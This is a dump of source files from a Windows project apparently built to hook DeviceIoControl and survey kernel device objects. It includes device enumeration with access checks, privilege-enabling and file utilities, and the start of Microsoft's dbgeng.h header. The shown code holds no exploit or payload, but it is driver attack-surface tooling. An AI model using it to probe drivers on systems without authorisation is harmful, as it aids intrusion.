{\n DevInfo.Access = DevAccessAuthenticated;\n }\n }\n else\n { \n DevInfo.Access = DevAccessRestricted;\n } \n\n CloseHandle(hDevice);\n }\n \n try\n {\n (*DevInfoList)[DeviceObject] = DevInfo;\n }\n catch (...)\n {\n \tDbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Exception occurs\\n\");\n }\n }\n else if (!wcscmp(lpwcTypeName, L\"Directory\"))\n {\n // recursive scanning of the next level directory\n CollectDeviceObjectsInfo(lpwcName);\n }\nskip_device:\n M_FREE(lpwcTypeName);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n M_FREE(lpwcName);\n M_FREE(DirInfo);\n goto end;\n }\n\n M_FREE(lpwcName);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n M_FREE(DirInfo);\n goto end;\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"NtQueryDirectoryObject() fails; status: 0x%.8x\\n\", ns);\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Error while requesting device objects info\\n\");\n\n M_FREE(DirInfo);\n goto end;\n }\n\n M_FREE(DirInfo);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n goto end;\n }\n \n goto enum_obj;\n }\n\nend:\n CloseHandle(hDir);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"NtOpenDirectoryObject() fails; status: 0x%.8x\\n\", ns);\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Error while opening directory \\\"%ws\\\"\\n\", lpRoot);\n }\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.h", "content": "\nvoid CollectDeviceObjectsInfo(LPWSTR lpRoot);\nvoid PrintDeviceObjectsInfo(char *lpszIoctlsLogPath);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/binres.rc", "content": "\n\n\n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.cpp", "content": "#include \"stdafx.h\"\n//--------------------------------------------------------------------------------------\nBOOL LoadPrivileges(char *lpszName)\n{\n HANDLE hToken = NULL;\n LUID Val;\n TOKEN_PRIVILEGES tp;\n BOOL bRet = FALSE;\n\n if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) \n {\n DbgMsg(__FILE__, __LINE__, \"OpenProcessToken() fails: error %d\\n\", GetLastError());\n goto end;\n }\n\n if (!LookupPrivilegeValue(NULL, lpszName, &Val))\n {\n DbgMsg(__FILE__, __LINE__, \"LookupPrivilegeValue() fails: error %d\\n\", GetLastError());\n goto end;\n }\n\n tp.PrivilegeCount = 1;\n tp.Privileges[0].Luid = Val;\n tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL))\n {\n DbgMsg(__FILE__, __LINE__, \"AdjustTokenPrivileges() fails: error %d\\n\", GetLastError());\n goto end;\n }\n\n bRet = TRUE;\n\nend:\n if (hToken)\n CloseHandle(hToken);\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL DumpToFile(char *lpszFileName, PVOID pData, ULONG DataSize)\n{\n HANDLE hFile = CreateFileA(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);\n if (hFile != INVALID_HANDLE_VALUE)\n {\n DWORD dwWritten;\n WriteFile(hFile, pData, DataSize, &dwWritten, NULL);\n\n CloseHandle(hFile);\n\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"Error %d while creating '%s'\\n\", GetLastError(), lpszFileName);\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD lpdwDataSize)\n{\n BOOL bRet = FALSE;\n HANDLE hFile = CreateFile(\n lpszFileName, \n GENERIC_READ, \n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \n NULL,\n OPEN_EXISTING, \n 0, \n NULL\n );\n if (hFile != INVALID_HANDLE_VALUE)\n {\n if (pData == NULL || lpdwDataSize == NULL)\n {\n // just check for existing file\n bRet = TRUE;\n goto close;\n }\n\n *lpdwDataSize = GetFileSize(hFile, NULL);\n if (*pData = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, *lpdwDataSize))\n {\n DWORD dwReaded = 0;\n ReadFile(hFile, *pData, *lpdwDataSize, &dwReaded, NULL);\n\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"LocalAlloc() ERROR %d\\n\", GetLastError());\n *lpdwDataSize = 0;\n }\n\nclose:\n CloseHandle(hFile);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"Error %d while reading '%s'\\n\", GetLastError(), lpszFileName);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nchar *GetNameFromFullPath(char *lpszPath)\n{\n char *lpszName = lpszPath;\n\n for (size_t i = 0; i < strlen(lpszPath); i++)\n {\n if (lpszPath[i] == '\\\\' || lpszPath[i] == '/')\n {\n lpszName = lpszPath + i + 1;\n }\n }\n\n return lpszName;\n}\n//--------------------------------------------------------------------------------------\nwchar_t *GetNameFromFullPathW(wchar_t *lpwcPath)\n{\n wchar_t *lpwcName = lpwcPath;\n\n for (size_t i = 0; i < wcslen(lpwcPath); i++)\n {\n if (lpwcPath[i] == L'\\\\' || lpwcPath[i] == L'/')\n {\n lpwcName = lpwcPath + i + 1;\n }\n }\n\n return lpwcName;\n}\n//--------------------------------------------------------------------------------------\nBOOL IsFileExists(char *lpszFileName)\n{\n BOOL bRet = FALSE;\n WIN32_FIND_DATA FindData;\n\n // enumerate files\n HANDLE hDir = FindFirstFileA(lpszFileName, &FindData);\n if (hDir != INVALID_HANDLE_VALUE)\n {\n bRet = TRUE;\n FindClose(hDir);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nPVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass)\n{\n NTSTATUS ns = 0;\n ULONG RetSize = 0, Size = 0x100;\n PVOID Info = NULL;\n\n GET_NATIVE(NtQuerySystemInformation);\n\n while (true) \n { \n // allocate memory for system information\n if ((Info = M_ALLOC(Size)) == NULL) \n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n return NULL;\n }\n\n // query information\n RetSize = 0;\n ns = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize);\n if (ns == STATUS_INFO_LENGTH_MISMATCH)\n { \n // buffer is too small\n M_FREE(Info);\n Info = NULL;\n\n if (RetSize > 0)\n {\n // allocate more memory and try again\n Size = RetSize + 0x100;\n } \n else\n {\n break;\n }\n }\n else\n {\n break;\n }\n }\n\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"NtQuerySystemInformation() fails; status: 0x%.8x\\n\", ns);\n\n if (Info)\n {\n M_FREE(Info);\n }\n\n return NULL;\n }\n\n return Info;\n}\n//--------------------------------------------------------------------------------------\nBOOL GetProcessNameById(DWORD dwProcessId, char *lpszName, size_t NameLen)\n{\n BOOL bRet = FALSE;\n\n // enumerate processes\n HANDLE hSnapProcs = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n if (hSnapProcs != INVALID_HANDLE_VALUE)\n {\n PROCESSENTRY32 Process = { 0 };\n Process.dwSize = sizeof(PROCESSENTRY32);\n\n if (Process32First(hSnapProcs, &Process))\n {\n do \n { \n // match process id\n if (Process.th32ProcessID == dwProcessId)\n {\n strlwr(Process.szExeFile);\n lstrcpy(lpszName, Process.szExeFile);\n\n bRet = TRUE;\n\n break;\n }\n }\n while (Process32Next(hSnapProcs, &Process));\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"Process32First() ERROR %d\\n\", GetLastError());\n }\n\n CloseHandle(hSnapProcs);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"CreateToolhelp32Snapshot() ERROR %d\\n\", GetLastError());\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.h", "content": "\n#define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_))\n\n#define XALIGN_DOWN(x, align)(x &~ (align - 1))\n#define XALIGN_UP(x, align)((x & (align - 1)) ? XALIGN_DOWN(x, align) + align : x)\n\n#define M_ALLOC(_size_) LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, (ULONG)(_size_))\n#define M_FREE(_addr_) LocalFree((_addr_))\n\n#define GET_NATIVE(_name_) \\\n \\\n func_##_name_ f_##_name_ = (func_##_name_)GetProcAddress( \\\n GetModuleHandleA(\"ntdll.dll\"), \\\n (#_name_) \\\n );\n\n#define UNICODE_FROM_WCHAR(_us_, _str_) \\\n \\\n ((PUNICODE_STRING)(_us_))->Buffer = (_str_); \\\n ((PUNICODE_STRING)(_us_))->Length = \\\n ((PUNICODE_STRING)(_us_))->MaximumLength = \\\n (USHORT)wcslen((_str_)) * sizeof(WCHAR);\n\n#define IFMT32 \"0x%.8x\"\n#define IFMT64 \"0x%.16I64x\"\n\n#define IFMT32_W L\"0x%.8x\"\n#define IFMT64_W L\"0x%.16I64x\"\n\n#ifdef _X86_\n\n#define IFMT IFMT32\n#define IFMT_W IFMT32_W\n\n#elif _AMD64_\n\n#define IFMT IFMT64\n#define IFMT_W IFMT64_W\n\n#endif\n\n#define MAX_STRING_SIZE 255\n\nBOOL LoadPrivileges(char *lpszName);\nBOOL DumpToFile(char *lpszFileName, PVOID pData, ULONG DataSize);\nBOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD lpdwDataSize);\n\nchar *GetNameFromFullPath(char *lpszPath);\nwchar_t *GetNameFromFullPathW(wchar_t *lpwcPath);\n\nBOOL IsFileExists(char *lpszFileName);\n\nPVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass);\nBOOL GetProcessNameById(DWORD dwProcessId, char *lpszName, size_t NameLen);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbgeng.h", "content": "//----------------------------------------------------------------------------\n//\n// Debugger engine interfaces.\n//\n// Copyright (c) Microsoft Corporation. All rights reserved.\n//\n//----------------------------------------------------------------------------\n\n#ifndef __DBGENG_H__\n#define __DBGENG_H__\n\n#include \n#include \n\n#ifndef _WDBGEXTS_\ntypedef struct _WINDBG_EXTENSION_APIS32* PWINDBG_EXTENSION_APIS32;\ntypedef struct _WINDBG_EXTENSION_APIS64* PWINDBG_EXTENSION_APIS64;\n#endif\n\n#ifndef _CRASHLIB_\ntypedef struct _MEMORY_BASIC_INFORMATION64* PMEMORY_BASIC_INFORMATION64;\n#endif\n\n#ifndef __specstrings\n// Should include SpecStrings.h to get proper definitions.\n#define __in\n#define __in_opt\n#define __in_bcount(x)\n#define __in_bcount_opt(x)\n#define __in_ecount(x)\n#define __in_ecount_opt(x)\n#define __out\n#define __out_opt\n#define __out_bcount(x)\n#define __out_bcount_opt(x)\n#define __out_ecount(x)\n#define __out_ecount_opt(x)\n#define __out_xcount(x)\n#define __inout\n#define __inout_opt\n#define __reserved\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n//----------------------------------------------------------------------------\n//\n// GUIDs and interface forward declarations.\n//\n//----------------------------------------------------------------------------\n\n/* f2df5f53-071f-47bd-9de6-5734c3fed689 */\nDEFINE_GUID(IID_IDebugAdvanced, 0xf2df5f53, 0x071f, 0x47bd,\n 0x9d, 0xe6, 0x57, 0x34, 0xc3, 0xfe, 0xd6, 0x89);\n/* 716d14c9-119b-4ba5-af1f-0890e672416a */\nDEFINE_GUID(IID_IDebugAdvanced2, 0x716d14c9, 0x119b, 0x4ba5,\n 0xaf, 0x1f, 0x08, 0x90, 0xe6, 0x72, 0x41, 0x6a);\n/* cba4abb4-84c4-444d-87ca-a04e13286739 */\nDEFINE_GUID(IID_IDebugAdvanced3, 0xcba4abb4, 0x84c4, 0x444d,\n 0x87, 0xca, 0xa0, 0x4e, 0x13, 0x28, 0x67, 0x39);\n/* 5bd9d474-5975-423a-b88b-65a8e7110e65 */\nDEFINE_GUID(IID_IDebugBreakpoint, 0x5bd9d474, 0x5975, 0x423a,\n 0xb8, 0x8b, 0x65, 0xa8, 0xe7, 0x11, 0x0e, 0x65);\n/* 1b278d20-79f2-426e-a3f9-c1ddf375d48e */\nDEFINE_GUID(IID_IDebugBreakpoint2, 0x1b278d20, 0x79f2, 0x426e,\n 0xa3, 0xf9, 0xc1, 0xdd, 0xf3, 0x75, 0xd4, 0x8e);\n/* 27fe5639-8407-4f47-8364-ee118fb08ac8 */\nDEFINE_GUID(IID_IDebugClient, 0x27fe5639, 0x8407, 0x4f47,\n 0x83, 0x64, 0xee, 0x11, 0x8f, 0xb0, 0x8a, 0xc8);\n/* edbed635-372e-4dab-bbfe-ed0d2f63be81 */\nDEFINE_GUID(IID_IDebugClient2, 0xedbed635, 0x372e, 0x4dab,\n 0xbb, 0xfe, 0xed, 0x0d, 0x2f, 0x63, 0xbe, 0x81);\n/* dd492d7f-71b8-4ad6-a8dc-1c887479ff91 */\nDEFINE_GUID(IID_IDebugClient3, 0xdd492d7f, 0x71b8, 0x4ad6,\n 0xa8, 0xdc, 0x1c, 0x88, 0x74, 0x79, 0xff, 0x91);\n/* ca83c3de-5089-4cf8-93c8-d892387f2a5e */\nDEFINE_GUID(IID_IDebugClient4, 0xca83c3de, 0x5089, 0x4cf8,\n 0x93, 0xc8, 0xd8, 0x92, 0x38, 0x7f, 0x2a, 0x5e);\n/* e3acb9d7-7ec2-4f0c-a0da-e81e0cbbe628 */\nDEFINE_GUID(IID_IDebugClient5, 0xe3acb9d7, 0x7ec2, 0x4f0c,\n 0xa0, 0xda, 0xe8, 0x1e, 0x0c, 0xbb, 0xe6, 0x28);\n/* 5182e668-105e-416e-ad92-24ef800424ba */\nDEFINE_GUID(IID_IDebugControl, 0x5182e668, 0x105e, 0x416e,\n 0xad, 0x92, 0x24, 0xef, 0x80, 0x04, 0x24, 0xba);\n/* d4366723-44df-4bed-8c7e-4c05424f4588 */\nDEFINE_GUID(IID_IDebugControl2, 0xd4366723, 0x44df, 0x4bed,\n 0x8c, 0x7e, 0x4c, 0x05, 0x42, 0x4f, 0x45, 0x88);\n/* 7df74a86-b03f-407f-90ab-a20dadcead08 */\nDEFINE_GUID(IID_IDebugControl3, 0x7df74a86, 0xb03f, 0x407f,\n 0x90, 0xab, 0xa2, 0x0d, 0xad, 0xce, 0xad, 0x08);\n/* 94e60ce9-9b41-4b19-9fc0-6d9eb35272b3 */\nDEFINE_GUID(IID_IDebugControl4, 0x94e60ce9, 0x9b41, 0x4b19,\n 0x9f, 0xc0, 0x6d, 0x9e, 0xb3, 0x52, 0x72, 0xb3);\n/* 88f7dfab-3ea7-4c3a-aefb-c4e8106173aa */\nDEFINE_GUID(IID_IDebugDataSpaces, 0x88f7dfab, 0x3ea7, 0x4c3a,\n 0xae, 0xfb, 0xc4, 0xe8, 0x10, 0x61, 0x73, 0xaa);\n/* 7a5e852f-96e9-468f-ac1b-0b3addc4a049 */\nDEFINE_GUID(IID_IDebugDataSpaces2, 0x7a5e852f, 0x96e9, 0x468f,\n 0xac, 0x1b, 0x0b, 0x3a, 0xdd, 0xc4, 0xa0, 0x49);\n/* 23f79d6c-8aaf-4f7c-a607-9995f5407e63 */\nDEFINE_GUID(IID_IDebugDataSpaces3, 0x23f79d6c, 0x8aaf, 0x4f7c,\n 0xa6, 0x07, 0x99, 0x95, 0xf5, 0x40, 0x7e, 0x63);\n/* d98ada1f-29e9-4ef5-a6c0-e53349883212 */\nDEFINE_GUID(IID_IDebugDataSpaces4, 0xd98ada1f, 0x29e9, 0x4ef5,\n 0xa6, 0xc0, 0xe5, 0x33, 0x49, 0x88, 0x32, 0x12);\n/* 337be28b-5036-4d72-b6bf-c45fbb9f2eaa */\nDEFINE_GUID(IID_IDebugEventCallbacks, 0x337be28b, 0x5036, 0x4d72,\n 0xb6, 0xbf, 0xc4, 0x5f, 0xbb, 0x9f, 0x2e, 0xaa);\n/* 0690e046-9c23-45ac-a04f-987ac29ad0d3 */\nDEFINE_GUID(IID_IDebugEventCallbacksWide, 0x0690e046, 0x9c23, 0x45ac,\n 0xa0, 0x4f, 0x98, 0x7a, 0xc2, 0x9a, 0xd0, 0xd3);\n/* 9f50e42c-f136-499e-9a97-73036c94ed2d */\nDEFINE_GUID(IID_IDebugInputCallbacks, 0x9f50e42c, 0xf136, 0x499e,\n 0x9a, 0x97, 0x73, 0x03, 0x6c, 0x94, 0xed, 0x2d);\n/* 4bf58045-d654-4c40-b0af-683090f356dc */\nDEFINE_GUID(IID_IDebugOutputCallbacks, 0x4bf58045, 0xd654, 0x4c40,\n 0xb0, 0xaf, 0x68, 0x30, 0x90, 0xf3, 0x56, 0xdc);\n/* 4c7fd663-c394-4e26-8ef1-34ad5ed3764c */\nDEFINE_GUID(IID_IDebugOutputCallbacksWide, 0x4c7fd663, 0xc394, 0x4e26,\n 0x8e, 0xf1, 0x34, 0xad, 0x5e, 0xd3, 0x76, 0x4c);\n/* 67721fe9-56d2-4a44-a325-2b65513ce6eb */\nDEFINE_GUID(IID_IDebugOutputCallbacks2, 0x67721fe9, 0x56d2, 0x4a44,\n 0xa3, 0x25, 0x2b, 0x65, 0x51, 0x3c, 0xe6, 0xeb);\n/* ce289126-9e84-45a7-937e-67bb18691493 */\nDEFINE_GUID(IID_IDebugRegisters, 0xce289126, 0x9e84, 0x45a7,\n 0x93, 0x7e, 0x67, 0xbb, 0x18, 0x69, 0x14, 0x93);\n/* 1656afa9-19c6-4e3a-97e7-5dc9160cf9c4 */\nDEFINE_GUID(IID_IDebugRegisters2, 0x1656afa9, 0x19c6, 0x4e3a,\n 0x97, 0xe7, 0x5d, 0xc9, 0x16, 0x0c, 0xf9, 0xc4);\n/* f2528316-0f1a-4431-aeed-11d096e1e2ab */\nDEFINE_GUID(IID_IDebugSymbolGroup, 0xf2528316, 0x0f1a, 0x4431,\n 0xae, 0xed, 0x11, 0xd0, 0x96, 0xe1, 0xe2, 0xab);\n/* 6a7ccc5f-fb5e-4dcc-b41c-6c20307bccc7 */\nDEFINE_GUID(IID_IDebugSymbolGroup2, 0x6a7ccc5f, 0xfb5e, 0x4dcc,\n 0xb4, 0x1c, 0x6c, 0x20, 0x30, 0x7b, 0xcc, 0xc7);\n/* 8c31e98c-983a-48a5-9016-6fe5d667a950 */\nDEFINE_GUID(IID_IDebugSymbols, 0x8c31e98c, 0x983a, 0x48a5,\n 0x90, 0x16, 0x6f, 0xe5, 0xd6, 0x67, 0xa9, 0x50);\n/* 3a707211-afdd-4495-ad4f-56fecdf8163f */\nDEFINE_GUID(IID_IDebugSymbols2, 0x3a707211, 0xafdd, 0x4495,\n 0xad, 0x4f, 0x56, 0xfe, 0xcd, 0xf8, 0x16, 0x3f);\n/* f02fbecc-50ac-4f36-9ad9-c975e8f32ff8 */\nDEFINE_GUID(IID_IDebugSymbols3, 0xf02fbecc, 0x50ac, 0x4f36,\n 0x9a, 0xd9, 0xc9, 0x75, 0xe8, 0xf3, 0x2f, 0xf8);\n/* 6b86fe2c-2c4f-4f0c-9da2-174311acc327 */\nDEFINE_GUID(IID_IDebugSystemObjects, 0x6b86fe2c, 0x2c4f, 0x4f0c,\n 0x9d, 0xa2, 0x17, 0x43, 0x11, 0xac, 0xc3, 0x27);\n/* 0ae9f5ff-1852-4679-b055-494bee6407ee */\nDEFINE_GUID(IID_IDebugSystemObjects2, 0x0ae9f5ff, 0x1852, 0x4679,\n 0xb0, 0x55, 0x49, 0x4b, 0xee, 0x64, 0x07, 0xee);\n/* e9676e2f-e286-4ea3-b0f9-dfe5d9fc330e */\nDEFINE_GUID(IID_IDebugSystemObjects3, 0xe9676e2f, 0xe286, 0x4ea3,\n 0xb0, 0xf9, 0xdf, 0xe5, 0xd9, 0xfc, 0x33, 0x0e);\n/* 489468e6-7d0f-4af5-87ab-25207454d553 */\nDEFINE_GUID(IID_IDebugSystemObjects4, 0x489468e6, 0x7d0f, 0x4af5,\n 0x87, 0xab, 0x25, 0x20, 0x74, 0x54, 0xd5, 0x53);\n\ntypedef interface DECLSPEC_UUID(\"f2df5f53-071f-47bd-9de6-5734c3fed689\")\n IDebugAdvanced* PDEBUG_ADVANCED;\ntypedef interface DECLSPEC_UUID(\"716d14c9-119b-4ba5-af1f-0890e672416a\")\n IDebugAdvanced2* PDEBUG_ADVANCED2;\ntypedef interface DECLSPEC_UUID(\"cba4abb4-84c4-444d-87ca-a04e13286739\")\n IDebugAdvanced3* PDEBUG_ADVANCED3;\ntypedef interface DECLSPEC_UUID(\"5bd9d474-5975-423a-b88b-65a8e7110e65\")\n IDebugBreakpoint* PDEBUG_BREAKPOINT;\ntypedef interface DECLSPEC_UUID(\"1b278d20-79f2-426e-a3f9-c1ddf375d48e\")\n IDebugBreakpoint2* PDEBUG_BREAKPOINT2;\ntypedef interface DECLSPEC_UUID(\"27fe5639-8407-4f47-8364-ee118fb08ac8\")\n IDebugClient* PDEBUG_CLIENT;\ntypedef interface DECLSPEC_UUID(\"edbed635-372e-4dab-bbfe-ed0d2f63be81\")\n IDebugClient2* PDEBUG_CLIENT2;\ntypedef interface DECLSPEC_UUID(\"dd492d7f-71b8-4ad6-a8dc-1c887479ff91\")\n IDebugClient3* PDEBUG_CLIENT3;\ntypedef interface DECLSPEC_UUID(\"ca83c3de-5089-4cf8-93c8-d892387f2a5e\")\n IDebugClient4* PDEBUG_CLIENT4;\ntypedef interface DECLSPEC_UUID(\"e3acb9d7-7ec2-4f0c-a0da-e81e0cbbe628\")\n IDebugClient5* PDEBUG_CLIENT5;\ntypedef interface DECLSPEC_UUID(\"5182e668-105e-416e-ad92-24ef800424ba\")\n IDebugControl* PDEBUG_CONTROL;\ntypedef interface DECLSPEC_UUID(\"d4366723-44df-4bed-8c7e-4c05424f4588\")\n IDebugControl2* PDEBUG_CONTROL2;\ntypedef interface DECLSPEC_UUID(\"7df74a86-b03f-407f-90ab-a20dadcead08\")\n IDebugControl3* PDEBUG_CONTROL3;\ntypedef interface DECLSPEC_UUID(\"94e60ce9-9b41-4b19-9fc0-6d9eb35272b3\")\n IDebugControl4* PDEBUG_CONTROL4;\ntypedef interface DECLSPEC_UUID(\"88f7dfab-3ea7-4c3a-aefb-c4e8106173aa\")\n IDebugDataSpaces* PDEBUG_DATA_SPACES;\ntypedef interface DECLSPEC_UUID(\"7a5e852f-96e9-468f-ac1b-0b3addc4a049\")\n IDebugDataSpaces2* PDEBUG_DATA_SPACES2;\ntypedef interface DECLSPEC_UUID(\"23f79d6c-8aaf-4f7c-a607-9995f5407e63\")\n IDebugDataSpaces3* PDEBUG_DATA_SPACES3;\ntypedef interface DECLSPEC_UUID(\"d98ada1f-29e9-4ef5-a6c0-e53349883212\")\n IDebugDataSpaces4* PDEBUG_DATA_SPACES4;\ntypedef interface DECLSPEC_UUID(\"337be28b-5036-4d72-b6bf-c45fbb9f2eaa\")\n IDebugEventCallbacks* PDEBUG_EVENT_CALLBACKS;\ntypedef interface DECLSPEC_UUID(\"0690e046-9c23-45ac-a04f-987ac29ad0d3\")\n IDebugEventCallbacksWide* PDEBUG_EVENT_CALLBACKS_WIDE;\ntypedef interface DECLSPEC_UUID(\"9f50e42c-f136-499e-9a97-73036c94ed2d\")\n IDebugInputCallbacks* PDEBUG_INPUT_CALLBACKS;\ntypedef interface DECLSPEC_UUID(\"4bf58045-d654-4c40-b0af-683090f356dc\")\n IDebugOutputCallbacks* PDEBUG_OUTPUT_CALLBACKS;\ntypedef interface DECLSPEC_UUID(\"4c7fd663-c394-4e26-8ef1-34ad5ed3764c\")\n IDebugOutputCallbacksWide* PDEBUG_OUTPUT_CALLBACKS_WIDE;\ntypedef interface DECLSPEC_UUID(\"67721fe9-56d2-4a44-a325-2b65513ce6eb\")\n IDebugOutputCallbacks2* PDEBUG_OUTPUT_CALLBACKS2;\ntypedef interface DECLSPEC_UUID(\"ce289126-9e84-45a7-937e-67bb18691493\")\n IDebugRegisters* PDEBUG_REGISTERS;\ntypedef interface DECLSPEC_UUID(\"1656afa9-19c6-4e3a-97e7-5dc9160cf9c4\")\n IDebugRegisters2* PDEBUG_REGISTERS2;\ntypedef interface DECLSPEC_UUID(\"f2528316-0f1a-4431-aeed-11d096e1e2ab\")\n IDebugSymbolGroup* PDEBUG_SYMBOL_GROUP;\ntypedef interface DECLSPEC_UUID(\"6a7ccc5f-fb5e-4dcc-b41c-6c20307bccc7\")\n IDebugSymbolGroup2* PDEBUG_SYMBOL_GROUP2;\ntypedef interface DECLSPEC_UUID(\"8c31e98c-983a-48a5-9016-6fe5d667a950\")\n IDebugSymbols* PDEBUG_SYMBOLS;\ntypedef interface DECLSPEC_UUID(\"3a707211-afdd-4495-ad4f-56fecdf8163f\")\n IDebugSymbols2* PDEBUG_SYMBOLS2;\ntypedef interface DECLSPEC_UUID(\"f02fbecc-50ac-4f36-9ad9-c975e8f32ff8\")\n IDebugSymbols3* PDEBUG_SYMBOLS3;\ntypedef interface DECLSPEC_UUID(\"6b86fe2c-2c4f-4f0c-9da2-174311acc327\")\n IDebugSystemObjects* PDEBUG_SYSTEM_OBJECTS;\ntypedef interface DECLSPEC_UUID(\"0ae9f5ff-1852-4679-b055-494bee6407ee\")\n IDebugSystemObjects2* PDEBUG_SYSTEM_OBJECTS2;\ntypedef interface DECLSPEC_UUID(\"e9676e2f-e286-4ea3-b0f9-dfe5d9fc330e\")\n IDebugSystemObjects3* PDEBUG_SYSTEM_OBJECTS3;\ntypedef interface DECLSPEC_UUID(\"489468e6-7d0f-4af5-87ab-25207454d553\")\n IDebugSystemObjects4* PDEBUG_SYSTEM_OBJECTS4;\n\n//----------------------------------------------------------------------------\n//\n// Macros.\n//\n//----------------------------------------------------------------------------\n\n// Extends a 32-bit address into a 64-bit address.\n#define DEBUG_EXTEND64(Addr) ((ULONG64)(LONG64)(LONG)(Addr))\n\n//----------------------------------------------------------------------------\n//\n// Client creation functions.\n//\n//----------------------------------------------------------------------------\n\n// RemoteOptions specifies connection types and\n// their parameters. Supported strings are:\n// npipe:Server=,Pipe=\n// tcp:Server=,Port=\nSTDAPI\nDebugConnect(\n __in PCSTR RemoteOptions,\n __in REFIID InterfaceId,\n __out PVOID* Interface\n );\n\nSTDAPI\nDebugConnectWide(\n __in PCWSTR RemoteOptions,\n __in REFIID InterfaceId,\n __out PVOID* Interface\n );\n\nSTDAPI\nDebugCreate(\n __in REFIID InterfaceId,\n __out PVOID* Interface\n );\n\n//----------------------------------------------------------------------------\n//\n// IDebugAdvanced.\n//\n//----------------------------------------------------------------------------\n\ntypedef struct _DEBUG_OFFSET_REGION\n{\n ULONG64 Base;\n ULONG64 Size;\n} DEBUG_OFFSET_REGION, *PDEBUG_OFFSET_REGION;\n\n#undef INTERFACE\n#define INTERFACE IDebugAdvanced\nDECLARE_INTERFACE_(IDebugAdvanced, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugAdvanced.\n\n // Get/SetThreadContext offer control over\n // the full processor context for a thread.\n // Higher-level functions, such as the\n // IDebugRegisters interface, allow similar\n // access in simpler and more generic ways.\n // Get/SetThreadContext are useful when\n // large amounts of thread context must\n // be changed and processor-specific code\n // is not a problem.\n STDMETHOD(GetThreadContext)(\n THIS_\n __out_bcount(ContextSize) /* align_is(16) */ PVOID Context,\n __in ULONG ContextSize\n ) PURE;\n STDMETHOD(SetThreadContext)(\n THIS_\n __in_bcount(ContextSize) /* align_is(16) */ PVOID Context,\n __in ULONG ContextSize\n ) PURE;\n};\n\ntypedef struct _DEBUG_READ_USER_MINIDUMP_STREAM\n{\n IN ULONG StreamType;\n IN ULONG Flags;\n IN ULONG64 Offset;\n OUT PVOID Buffer;\n IN ULONG BufferSize;\n OUT ULONG BufferUsed;\n} DEBUG_READ_USER_MINIDUMP_STREAM, *PDEBUG_READ_USER_MINIDUMP_STREAM;\n\n#define DEBUG_GET_TEXT_COMPLETIONS_NO_DOT_COMMANDS 0x00000001\n#define DEBUG_GET_TEXT_COMPLETIONS_NO_EXTENSION_COMMANDS 0x00000002\n#define DEBUG_GET_TEXT_COMPLETIONS_NO_SYMBOLS 0x00000004\n\ntypedef struct _DEBUG_GET_TEXT_COMPLETIONS_IN\n{\n ULONG Flags;\n ULONG MatchCountLimit;\n ULONG64 Reserved[3];\n // Input text string follows.\n} DEBUG_GET_TEXT_COMPLETIONS_IN, *PDEBUG_GET_TEXT_COMPLETIONS_IN;\n\n#define DEBUG_GET_TEXT_COMPLETIONS_IS_DOT_COMMAND 0x00000001\n#define DEBUG_GET_TEXT_COMPLETIONS_IS_EXTENSION_COMMAND 0x00000002\n#define DEBUG_GET_TEXT_COMPLETIONS_IS_SYMBOL 0x00000004\n\ntypedef struct _DEBUG_GET_TEXT_COMPLETIONS_OUT\n{\n ULONG Flags;\n // Char index in input string where completions start.\n ULONG ReplaceIndex;\n ULONG MatchCount;\n ULONG 